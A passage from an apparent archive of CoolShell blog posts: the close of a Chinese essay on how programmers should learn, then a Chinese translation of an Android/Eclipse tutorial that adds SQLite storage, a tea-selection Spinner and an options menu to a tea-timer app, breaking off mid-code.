所以，<strong>你需要做的事就是确定能让高手想和你一起工作？</strong>。按需所学也许是一个不错的技能，但其不应该成为程序员的价值观。是的，这是一个巨大的行业你不可能学习所有的东西，所以，你需要有所选择地把其学精，只要你有足够的好奇心去跟从你的兴趣，你会发现最终你会真正掌握很多很多其它的东西。如果你能把你的工作做好，那么其它的超级牛人都会想要和你一起工作，因为他们可以从你这学到东西，而你又可以从他们那里学到东西。这样一来，所有的人都会是成功者。</p>\n<p>Image by <a href=\"http://www.flickr.com/photos/samueleghilardi/2971657900/\" target=\"_blank\">SamueleGhilardi</a> and <a href=\"http://www.flickr.com/photos/specialkrb/3250756763/\">SpecialKRB</a></p>\n<p>—————————————————正文结束分割线——————————————————</p>\n<p>我在这里想说几个我的观点：</p>\n<ol>\n<li>我特别同意作者的，如果你把一个技术搞精搞深，你的知识面自然会很广的。</li>\n<li>面对于各种比较深的东西（比如C++的奇技淫巧），作为一个实用主义者可能很不屑，但是你也会为此而失去开阔眼界的机会。</li>\n<li>为明天做一些技术储备，因为你不知道你所缺的东西。多多阅读，多多交流，最好能把自己的心得写下来强化自己的认识和记忆。</li>\n<li>不要只寄望于在工作中学习，工作没有覆盖的地方你就不学了。真正的高手在工作之余都会花很多时间去自己研究点东西的。</li>\n<li>永远和高手一起工作。如果你面试的公司的面试太简单了，那就不要去，因为简单的面试通常意味着平庸。去那样的公司工作只会让你的学习速度变慢，甚至倒退。</li>\n<li>很多东西在概念上是相通的，在哲学层次上是相通的，这是你需要去追求的学习知识的境界。</li>\n<li>最后echo一下作者的话——“很多时候，你缺少的不是知识而是热情”！</li>\n</ol>\n<p>谢谢大家又花了一点看我的唠叨。呵呵。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-8 Eclipse开发Android应用程序入门重装上阵.html",
    "content": "<html><body><p><strong>翻译:赵锟</strong><br/>\n原文：<a href=\"http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/\">http://www.smashingmagazine.com/2011/03/28/get-started-developing-for-android-with-eclipse-reloaded/</a></p>\n<p>在我们教程系列的<a href=\"https://coolshell.cn/articles/4270.html\">第一部分</a>中，我们使用Android和Eclipse开发了一个简单的饮茶计时器的应用程序。在第二部分，我们将继续开发这个程序，并给它增加一些其他的额外的功能。在开发的过程中，我们将给你介绍更多重要而强大的Android SDK特性，包括持久化数据存储，Activity和Intent，和共享用户首选项（译者注：类似于windows 的注册表的一种机制）。</p>\n<p>跟着本教程，你需要上一篇教程中的代码，如果你想直接使用代码，你可以使用如下的指令从<a href=\"http://github.com/cblunt/BrewClock\">GitHub</a>上check out出tutorial_par_1标记的代码：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4362\" height=\"564\" src=\"../wp-content/uploads/2011/04/1_starting_point_full.jpg\" title=\"1_starting_point_full\" width=\"793\"/><br/>\n[code]<br/>\n$ git clone git://github.com/cblunt/BrewClock.git<br/>\n$ cd BrewClock<br/>\n$ git checkout tutorial_part_1<br/>\n[/code]</p>\n<p>在GitHub中检出了代码后，你需要将代码倒入到Eclipse中的项目中：</p>\n<ol>\n<li>运行      Eclipse 选择 <em>File → Import…</em></li>\n<li>在导入窗口, 选择 <em>“Existing Projects into Workspace”</em>并点击<em> “Next.”</em></li>\n<li>在下一屏，点击 <em>“Browse,”</em>选择你从GitHub上clone出的代码目录。</li>\n<li>点击“Finish” 将项目导入到Eclipse中。</li>\n</ol>\n<p><span id=\"more-4334\"></span><br/>\n在导入项目到Eclipse之后，你有可能会看到有如下的警告信息：<br/>\n[code]<br/>\nAndroid required .class compatibility set to 5.0.<br/>\nPlease fix project properties.<br/>\n[/code]<br/>\n如果有这种情况，右键点击“Project Explorer ”中新导入的BrewClock项目，并选择 “Fix Project Properties,” 并重启Eclipse。</p>\n<h3>数据持久化入门</h3>\n<p>当前,BrewClock 让用户为他们泡的茶设置一个定时器。这个非常棒的一个工作，但是如果对于不同的茶使用同一个泡茶时间的结果会怎样呢，是不每种茶都应该有自己的一个泡茶时间呢？如果这样，那岂不是所有的用户都需要记下每一类茶所需要泡的时间！这不是一个很好的用户体验。因此，在这篇教程中，我将新增一个功能来为用户每种不同的茶叶存放一个泡茶时间，并当用户想泡茶的时候，可以从茶叶列表中进行选择。</p>\n<p>为了实现这个目的，我们得利用Android的丰富的数据持久化的API。Android提供了几种方式来存储数据，本文将要覆盖其中的两种方式。第一种，使用SQLite数据库引擎来为我们存储数据。</p>\n<p>SQLite 是一种流行的轻量级SQL数据库引擎，它将数据存在单个文件中。SQLite经常用于桌面或在那些运行不能运行客户端-服务器SQL引擎（例如MySQL或PostgreSQL)的嵌入式的应用上。</p>\n<p>每个安装在Android上的应用都可以保存和使用多个SQLite数据库文件（由数据存储容量决定），这些数据由系统自动地进行管理。应用程序的数据是私有并且不能被其他的应用程序所访问。（数据可以通过ContentProvider(译者注：内容提供者类)类进行共享，但是我们不会在本教程中覆盖关于内容提供者的内容）。当数据应用程序被更新时，数据库文件就进行持久化，当应用程序被删除时，数据库文家就被删除。</p>\n<p>我们在BrewClock应用使用SQLite数据来维护我们的茶叶列表和泡茶所需要的时间。下面是我们我们将使用的数据表的一个总体介绍。</p>\n<p>[code]<br/>\n+————————————-+<br/>\n| Table: teas                         |<br/>\n+————+————————+<br/>\n| Column     | Description            |<br/>\n+————+————————+<br/>\n| _ID        | integer, autoincrement |<br/>\n| name       | text, not null         |<br/>\n| brew_time  | integer, not null      |<br/>\n+————+————————+<br/>\n[/code]</p>\n<p>如果以前你使用过SQL，你应该熟悉这些内容。数据表有三个字段，一个唯一标示（_ID），茶叶名称(name)和泡茶时间(brew_time)字段。我们将使用Android提供给我们的API在应用中建立数据表。系统将负责在正确的位置为我们的创建数据库文件。</p>\n<h4>抽象数据库</h4>\n<p>为了确保数据库的代码容易被维护，我们用一个单独的类TeaData来抽象所有处理数据库创建，插入，和查询的代码。如果你熟悉模型-试图-控制(译者注：MVC)方法的话，这个你也应该熟悉。所有数据库代码与我们的BrewClockActitvity类隔离开来。Actitvity可以初始化一个新的TeaData实例（这个实例将连接数据库）并完成它所需要的工作。以这种方式工作保证了我们可以方便的更改我们所使用的数据库而不用修改其他那些和数据库不相关部分的代码。</p>\n<p>通过菜单File → New → Class.在BrewClock项目中创建一个TeaData的新类。确保TeaData扩展于android.database.sqlite.SQLiteOpenHelper 类，并选中“Constructors from superclass”复选框。<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-4362\" src=\"../wp-content/uploads/2011/04/2_create_teadata_class1.jpg\" title=\"1_starting_point_full\"/></p>\n<p>TeaData 类将为你自动地处理SQLite数据库的创建和版本。我们需要增加一些方法来作为其他代码到数据库的接口。</p>\n<p>增加两个常量来存储数据库的名字和版本,增加表名和表中列名。我们使用Android提供的常类BaseColumns._ID来做为表的唯一id列：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\nimport android.app.Activity;\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.DatabaseUtils;\nimport android.provider.BaseColumns;\n\npublic class TeaData extends SQLiteOpenHelper {\n  private static final String DATABASE_NAME = \"teas.db\";\n  private static final int DATABASE_VERSION = 1;\n\n  public static final String TABLE_NAME = \"teas\";\n\n  public static final String _ID = BaseColumns._ID;\n  public static final String NAME = \"name\";\n  public static final String BREW_TIME = \"brew_time\";\n\n  // …\n}\n</pre>\n<p>为TeaData增加一个构造方法，以数据库名称合版本号为参数调用其父类的构造方法。Android将会自动地打开数据库（如果数据库不存在就自动创建它）。</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic TeaData(Context context) {\n  super(context, DATABASE_NAME, null, DATABASE_VERSION);\n}\n</pre>\n<p>我们需要重载onCreate方法，并执行一个SQL 串执行创建数据库表的操作。Android将会在数据库文件第一次被创建时调用这个方法。</p>\n<p>在启动过程中，Android检查数据库的版本是否我们传入的版本一致。如果版本发生了改变，Android将会调用onUpgrade方法，在这个方法总，你可以编写修改数据库结构的业务逻辑。在本教程中，我们将让Android删除数据库并重建数据库。</p>\n<p>在onCreate和onUpgrade中增加如下的代码:</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\n@Override\npublic void onCreate(SQLiteDatabase db) {\n  // CREATE TABLE teas (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, brew_time INTEGER);\n  String sql =\n    \"CREATE TABLE \" + TABLE_NAME + \" (\"\n      + _ID + \" INTEGER PRIMARY KEY AUTOINCREMENT, \"\n      + NAME + \" TEXT NOT NULL, \"\n      + BREW_TIME + \" INTEGER\"\n      + \");\";\n\n  db.execSQL(sql);\n}\n\n@Override\npublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n  db.execSQL(\"DROP TABLE IF EXISTS \" + TABLE_NAME);\n  onCreate(db);\n}\n\n</pre>\n<p>下一步，我们需要新增代码让我们方便地在数据库中新增茶叶记录。我们新增一个带茶叶名称和泡茶时间的方法来负责插入记录。Android为了尽量避免开发者使用SQL语句，提供了一堆类来处理向数据库中查入记录。首先，我们创建一个ContentValues集合，并将相关的值插入到这个集合中去。</p>\n<p>对于ContentValues集合，我们只要简单地提供一个列名和值来插入就行了。Android负责创建和运行正确的SQL。使用Android的数据类确保了你能写出安全，跨平台的数据库操作代码。</p>\n<p>Add a new method, insert(), to the TeaData class:</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic void insert(String name, int brewTime) {\n  SQLiteDatabase db = getWritableDatabase();\n\n  ContentValues values = new ContentValues();\n  values.put(NAME, name);\n  values.put(BREW_TIME, brewTime);\n\n  db.insertOrThrow(TABLE_NAME, null, values);\n}\n\n</pre>\n<h4>查询数据</h4>\n<p>我们应用程序具有了在数据库中保存数据的能力后，我们同样也需要一种方式将数据取回来。Android提供了游标Cursor接口来完成这件工作。一个游标代表了针对数据库运行一个SQL返回的结果集，游标在这个结果集中维护了一个指针来指向结果集中的一行。这个指针可以向前，向后移动，并返回每一列的值，下面我们用图形来帮助你理解游标:</p>\n<p>SQL 查询: SELECT * from teas LIMIT 3;<br/>\n[code]<br/>\n+———————————–+</p>\n<p>|  _ID  |  name       |  brew_time  |</p>\n<p>+———————————–+</p>\n<p>|    1  |  Earl Grey  |          3  |</p>\n<p>|    2  |  Green      |          1  | &lt;= Cursor</p>\n<p>|    3  |  Assam      |          5  |</p>\n<p>+——-+————-+————-+<br/>\n[/code]</p>\n<p>在这个例子中，游标指向了结果集中的第二条记录（绿茶）。我们可以通过调用cursor.moveToPrevious()方法，将游标向前移动，让它指向第一行（Earl Grey），或者调用moveToNext向前移动指向Assam。要取到游标所指向记录的茶叶的名称，我们只要调用cursor.getString(1)，1代表我们向提取数据列的下标（注意下标识从0开始的，1代表第二列，依次类推）。</p>\n<p>在了解游标后，我们增加一个创建游标对象并返回数据库中所有的茶叶信息。在TeaData中增加all方法：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\npublic Cursor all(Activity activity) {\n  String[] from = { _ID, NAME, BREW_TIME };\n  String order = NAME;\n\n  SQLiteDatabase db = getReadableDatabase();\n  Cursor cursor = db.query(TABLE_NAME, from, null, null, null, null, order);\n  activity.startManagingCursor(cursor);\n\n  return cursor;\n}\n</pre>\n<p>因为这个方法乍一看有点古怪，所以让我们先来关心一下这个方法的一些细节。我们没有使用SQL的查询语句，而是使用了Android提供的数据库接口方法。</p>\n<p>第一，我们需要告诉Android，我们所关心的列的信息。我们创建了一个字符串数组，数组中存放这TeaData中列的标示信息。我们还设置了我名们期望的结果集按照哪一个列进行排序的列名。</p>\n<p>第二，我们使用getReadalbeDatabase()创建了一个到数据库的只读连接，并调用query方法告诉Android我们希望用query方法运行一个查询。query()方法有很多的参数，Android在内部将这些参数转化为一个查询语句。此外，Android的抽象层保证了即使底层数据储存机制发生了变化，我们的应用程序代码也能正确的工作。</p>\n<p>由于我们只要返回表中的所有记录，所以我们没有在方法中使用到链接join，过滤filter和分组group（例如：在SQL中的WHERE，JOIN，和GROUP BY）。from和order变量告诉查询数据库需要返回那些列和提取数据时按什么列进行排序。我们使用SQLiteDatabase.query()作为和数据库的人机交互接口。</p>\n<p>最后，我们让Activity（在本例中，我们的BrewClockActivity）来管理游标。通常，游标需要人工刷新内容，因此当我们增加一个新茶信息到数据库中时，我们就需要刷新我们的游标。每当我们的应用被挂起和恢复的时候，通过调用startManagingCursor()让Android来帮我们重建结果集。</p>\n<p>在TeaData类中增加count方法:</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/TeaData.java\n  public long count() {\n    SQLiteDatabase db = getReadableDatabase();\n    return DatabaseUtils.queryNumEntries(db, TABLE_NAME);\n  }\n\n</pre>\n<p>保存TeaData类，使用修正没有import 的类(Source → Organize Imports)，在完成我们的数据类后，下一步我们将着手修改我们BrewClock的人机界面。</p>\n<h4>修改BrewClock用户界面，允许进行茶叶选择</h4>\n<p>持久化茶和泡茶的时间的目的是让用能快速的选择他们所钟爱的预设置的茶。为了完成这个功能，我们需要再BrewClock的主界面上增加一个Spinner（类似于桌面上弹出菜单），生成一个来自于TeaData的茶列表。</p>\n<p>和前面的教程一样，我们使用了Eclipse的布局器编辑器在BrewClock的主界面布局XML文件中增加Spinner。在LinearLayout元素下面增加下面这些代码（大约在24行）。如果你打开了可视化的布局编辑器后，你可以点击窗口下面的地”Code View”进行切换。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- /res/layout/main.xml --&gt;\n\n&lt;!-- Tea Selection --&gt;\n&lt;LinearLayout\n  android:orientation=\"vertical\"\n  android:layout_width=\"fill_parent\"\n  android:layout_height=\"wrap_content\"&gt;\n\n  &lt;Spinner\n    android:id=\"@+id/tea_spinner\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\" /&gt;\n\n&lt;/LinearLayout&gt;\n</pre>\n<p>在BrewClockActivity类里面,增加一个成员变量指向Spinner，通过使用findViewById连接界面上的控件：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\nprotected Spinner teaSpinner;\nprotected TeaData teaData;\n\n// …\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  teaData = new TeaData(this);\n  teaSpinner = (Spinner) findViewById(R.id.tea_spinner);\n}\n</pre>\n<p>运行你的程序以确保新的界面正确地生效。你应该在泡茶计数器下看见一个空白的弹出式菜单（或者是Spinner)。如果点击spinner，Android将显示一个弹出式的菜单并为你提供选择列表。在这时，菜单的内容因该是空的，现在让我们来绑定Spinner和我们的茶叶数据库。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4364\" height=\"356\" src=\"../wp-content/uploads/2011/04/3_blank_spinner.jpg\" title=\"3_blank_spinner\" width=\"500\"/></p>\n<h4>数据绑定</h4>\n<p>当Android从数据库中查询数据时，它将会返回一个游标Cursor对象。Cursor代表了来自数据库的结果集，并可以移动游标来提取结果中的数据。使用一类Android提供的称为“适配器Adapter”的类，我们很容易将这个结果集绑定到Spinner上。适配器完成了提取数据库结果集中的数据并在界面上显示这些数据等这些复杂而困难工作。</p>\n<p>在我们的TeaData.all()方法中已经可以返回一个带有tea表内容的游标，使用这个游标，我们所需要做的工作就是创建一个SimpleCursor适配器来绑定我们的teaSpinner，Android会负责处理将数据显示在spinner的列表中。</p>\n<p>通过创建一个SimpleCursorAdapter类来连接Spinner与teaData.all()返回的游标：</p>\n<pre class=\"EnlighterJSRAW\">\n// com/example/brewclock/BrewClockActivity.java\n\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  Cursor cursor = teaData.all(this);\n\n  SimpleCursorAdapter teaCursorAdapter = new SimpleCursorAdapter(\n    this,\n    android.R.layout.simple_spinner_item,\n    cursor,\n    new String[] { TeaData.NAME },\n    new int[] { android.R.id.text1 }\n  );\n\n  teaSpinner.setAdapter(teaCursorAdapter);\n  teaCursorAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);\n}\n\n</pre>\n<p>注意，我们使用了Android内建的android.R对象。这个对象提供了你的应用程序中的默认资源，例如视图和布局。在我们的代码中，我们使用了android.R.layout.simple_spinner_item，它是简单的文本标签布局。</p>\n<p>如果你再次运行的应用程序，你将会看到spinner中仍然是空的！虽然我们已经连接了我们的数据库，但是由于数据库中没有任何记录，所以我们任何看到了空列表。</p>\n<p>我们通过在构造方法中增加一些默认记录来让用户可以选择所需要的茶叶，为了避免重复记录，我们只有在数据库中记录为0的情况才增加默认记录。在本教程的代码中，我们使用前面增加的count()来检查数据库中表记录是否为空。</p>\n<p>增加当数据库中表为空的默认记录代码。把这些代码增加从数据库提取茶叶数据的前面（译者注：上一段的代码前）。</p>\n<pre class=\"EnlighterJSRAW\">\n// com/example/brewclock/BrewClockActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Add some default tea data! (Adjust to your preference :)\n  if(teaData.count() == 0) {\n    teaData.insert(\"Earl Grey\", 3);\n    teaData.insert(\"Assam\", 3);\n    teaData.insert(\"Jasmine Green\", 1);\n    teaData.insert(\"Darjeeling\", 2);\n  }\n\n  // Code from the previous step:\n  Cursor cursor = teaData.all(this);\n\n  // …\n}\n\n</pre>\n<p>现在再次运行你的应用程序。你将会发现茶叶Spinner有了一条选择。点击Spinner让你可以从数据库选择你要的茶叶。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4365\" height=\"356\" src=\"../wp-content/uploads/2011/04/4_populated_spinner.jpg\" title=\"4_populated_spinner\" width=\"500\"/></p>\n<p>恭喜你！你已经成功关联了你的界面和代码。这是任何软件开发过程中一个非常重要的方面。正如你所看见的，Android将这一步简化的非常容易，但是功能有是非常的NB。使用游标和适配器，你可以将数据源（丛简单的字符串数组到复杂的数据库查询）绑定到任何类型的视图：spinner或列表，设置是类似iTunes cover-flow gallery!</p>\n<p>虽然现在已经可以开始泡茶了，但是我们工作还远没有结束。当你从Spinner选择了不同的茶，这个选择却不会发生任何作用。我们需要根据用户所选茶叶的种类取更新我们的泡茶时间。</p>\n<h4>读取选中茶叶数据并更新泡茶时间</h4>\n<p>为了能读取用户从数据库中选择茶叶的数据，我们必须增加一个针对此事件的监听器。类似于处理按钮点击事件的OnClickListener监听器一样，我们将实现一个OnItemSelectedListener。当用户从视图中做出一个选择的事件将触发这个监听器，例如从我们的Spinner。</p>\n<p>在BrewClockActivity中增加需要实现的接口OnItemSelectedListener。并增加其响应的处理方法onItemSelected()和onNothingSelected()：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic class BrewClockActivity extends Activity implements OnClickListener, OnItemSelectedListener {\n  // …\n  public void onItemSelected(AdapterView&lt;?&gt; spinner, View view, int position, long id) {\n    if(spinner == teaSpinner) {\n      // Update the brew time with the selected tea’s brewtime\n      Cursor cursor = (Cursor) spinner.getSelectedItem();\n      setBrewTime(cursor.getInt(2));\n    }\n  }\n\n  public void onNothingSelected(AdapterView&lt;?&gt; adapterView) {\n    // Do nothing\n  }\n}\n\n</pre>\n<p>在这里我们要检查是触发的spinner此事件是不是BrewClock的teaSpinner。如果是，我们将提取代表选中记录的游标对象。这些都是由关联teaData和Spinner的SimpleCursorAdapter来提供我们完成的。Android知道哪个查询产生的Spinner数据，也知道用户选择的哪个数据。Android使用游标来返回数据库的一行记录，也代表了用户所选择的茶叶数据。</p>\n<p>Cursor的getInt()方法带了一个我们想提取的列的下标为参数。在我们的teaData.all()方法中创建游标的时候，我们读取的列是_ID,NAME和BREW_TIME。假设我们在teaSpinner中选择的是Jasmine Tea，那么将返回我们所选数据所对应的数据库记录。</p>\n<p>然后我们再通过传递参数2来选择此记录的第二列的整型值。这个值提供给setBrewTime()方法。这个方法用于更新界面上的泡茶时间。</p>\n<p>最后，我们需要告诉teaSpinner BrewClockActivity正在监听OnItemSelected事件。在BrewClockActivity的onCreate方法中增加下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // …\n  teaSpinner.setOnItemSelectedListener(this);\n}\n</pre>\n<p>大功告成！再次运行你的程序，并从Spinner选择不同的茶叶。每次你所选的茶叶它所对应的泡茶时间都回显示对应的界面上。我们余下的代码中已经可以处理从当前时间开始递减计数。所以在有预先设置的茶叶种类下，我们已经可以完成我们所想要的功能。</p>\n<p>你当然可以，回到之前的代码中去增加一些茶叶种类你满足你的口味。但是如果你发布BrewClock程序到Android Market，每当有人向增加新的茶叶数据到数据库中，我就需要去手动的取更新数据中的内容并重新发布它；这样所有的人就必须去更新它，并且所有的人都有一个同样的列表。这听起来非常的不灵活，因此我们还有很多的工作需要完成！</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-4364\" src=\"../wp-content/uploads/2011/04/5_default_teas.jpg\" title=\"3_blank_spinner\"/></p>\n<p>如果用户自己有方法新增茶叶种类到数据库里面，将会非常的不错的做法。因此我们将在下一章继续。。。</p>\n<h3>Activity 介绍</h3>\n<p>和你应用程序中每个屏幕关联的代码就是Activity。每次当你从一屏切换到另外一屏，Android就会创建一个新的Activity。在真实世界中，虽然一个应用程序经常由多个屏幕/Activity构成，Andriod却将每个屏幕看作独立的个体。多个Activity工作在一起形成一种关联的体验，这是因为Android让你非常容易地在屏幕/Activity之间传递数据。</p>\n<p>在本节最后，你将为你的应用程序新增一个新的Activity（AddTeaActivity）并将它注册到Android系统中。你还需要从最初的BrewClockActivity传递数据到新的Activity中。</p>\n<p>首先，我们需要给用户一种方式切换到新的Activity上。我们将使用选项菜单来完成之一步。</p>\n<h4>选项菜单</h4>\n<p>当用户他们的设备上的“Menu”按键时，选项菜单以弹出菜单的形式出现。Android负责菜单的自动创建和显示；你只需要告诉Android，菜单显示什么内容和当用户点击菜单时该做什么就行。</p>\n<p>然而,最好不要在代码中硬编码菜单的标题，我们可以使用Android的字符串资源。字符串资源是一个独立的文件，在这个文件中你可以维护所有用于用户阅读的字符串和标签资源，并可以在代码调用它们。这就意味着当你在未来需要修改字符串时，你只要修改这一处地方即可。.</p>\n<p>在project explorer中导航到“res/values”下，你将会看到string.xml文件已经存在。这个是你再创建新项目的时候由Eclipse创建的，这文件存放着在整个应用程序我们将要使用的字符串。</p>\n<p>双击打开<em>strings.xml</em> ,通过窗口底部的选项页切换到XML 视图。</p>\n<p>在&lt;resources&gt;…&lt;/resources&gt; 元素中增加下面的内容:</p>\n<pre class=\"EnlighterJSRAW\">\n\n&lt;!-- res/values/strings.xml --&gt;\n  &lt;resources&gt;\n    &lt;!-- … --&gt;\n    &lt;string name=\"add_tea_label\"&gt;Add Tea&lt;/string&gt;\n  &lt;/resources&gt;\n\n\n</pre>\n<p>我们在这里定义了一个字符串，add_tea_label和它关联的文本，我们可以在整个程序代码中通过add_tea_label来使用其关联的文本。如果标签因为某个原因需要修改，我们只需要在这个文件修改这一个地方就能完成整个程序的修改。</p>\n<p>下一步，让我们创建一个新文件完成选项菜单的定义，如果字符串和布局一样，菜单也使用XML来定义。因此我们将在Eclipse中川建一个新的XML文件：</p>\n<p>通过选择File → New → Other, 并选择“Android XML File.”在Eclipse中创建一个新的XML文件。</p>\n<p>选择资源的类型为 “Menu”，保存文件名为main.xml。Eclipse将为你自动的创建一个目录<em>res/menu</em>, 来存放你的菜单文件。</p>\n<p><img src=\"../wp-content/uploads/2011/04/7_new_menu_xml.jpg\"/></p>\n<p>打开<em>res/menus/main.xml</em> 文件, 通过窗口底部的“main.xml”选项页来切换到XML视图。</p>\n<p>增加菜单项， add_tea。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n  &lt;resources&gt;\n    &lt;!-- … --&gt;\n    &lt;string name=\"add_tea_label\"&gt;Add Tea&lt;/string&gt;\n  &lt;/resources&gt;\n</pre>\n<p>注意android:title 属性被设置为@string/add_tea_label。这告诉Android在我们的strings.xml文件中查找add_tea_label并返回相关联的标签内容。在本列中我们的菜单项的标签时“Add Tea”。</p>\n<p>下一步，我们将告诉我们的Activity，当用户点击设备上的“memu”按键时来显示这个选项菜单。</p>\n<p>返回<em>BrewClockActivity.java</em>代码, 重载onCreateOptionsMenu 方法,这个方法告诉Android 当用户点击“Menu”按键时，装载我们的菜单：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.main, menu);\n\n  return true;\n}\n\n</pre>\n<p>当用户点击他设备上的“Menu”按键时，Android将调用onCreateOptionsMenu。在这个方法中，我们创建了一个MenuInflater, 这个对象将从你的应用程序包中装载你的菜单资源。就如同按钮和文本域组成你的应用程序布局一样，main.xml资源也是通过全局对象R来生效的，因此我们将此对象提交给MenuInflater对象。</p>\n<p>为了测试菜单，保存并在模拟器中并运行应用程序。当程序运行起来使，点击“Menu”按键，你将会看到一个弹出式的菜单显示了一个“Add Tea”选项。</p>\n<p><img src=\"../wp-content/uploads/2011/04/8_add_teas_options_menu.jpg\"/></p>\n<p>如果你点击“Add Tea”选项，Android自动地检测到点击并关闭菜单。在后台，Android将会提醒应用程序选项已经被点击。</p>\n<h4>处理菜单点击</h4>\n<p>当用户点击 “Add Tea” 菜单选项，我们想要显示一个新的Activity以便我们能进入增加新茶叶种类的界面。通过选择File → New → Class来创建一个的Activiy。</p>\n<p><img src=\"../wp-content/uploads/2011/04/9_new_activity_settings.jpg\"/></p>\n<p>将新类命名为 AddTeaActivity,并确保它继承于android.app.Activity类。这个类也放在com.example.brewclock包中:</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npackage com.example.brewclock;\n\nimport android.app.Activity;\nimport android.os.Bundle;\n\npublic class AddTeaActivity extends Activity {\n  @Override\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n  }\n}\n\n</pre>\n<p>上面样例中的空白Activity将不会完成任何工作。但是通过它，我们已经可以完成选项菜单的功能。</p>\n<p>在BrewClockActivity增加一个重载方法onOptionsItemSelected 。当用户点击菜单项时，这个方法被Android调用。 (注意点击的MenuItem为它的接收参数：</p>\n<pre class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.add_tea:\n      Intent intent = new Intent(this, AddTeaActivity.class);\n      startActivity(intent);\n      return true;\n\n    default:\n      return super.onOptionsItemSelected(item);\n  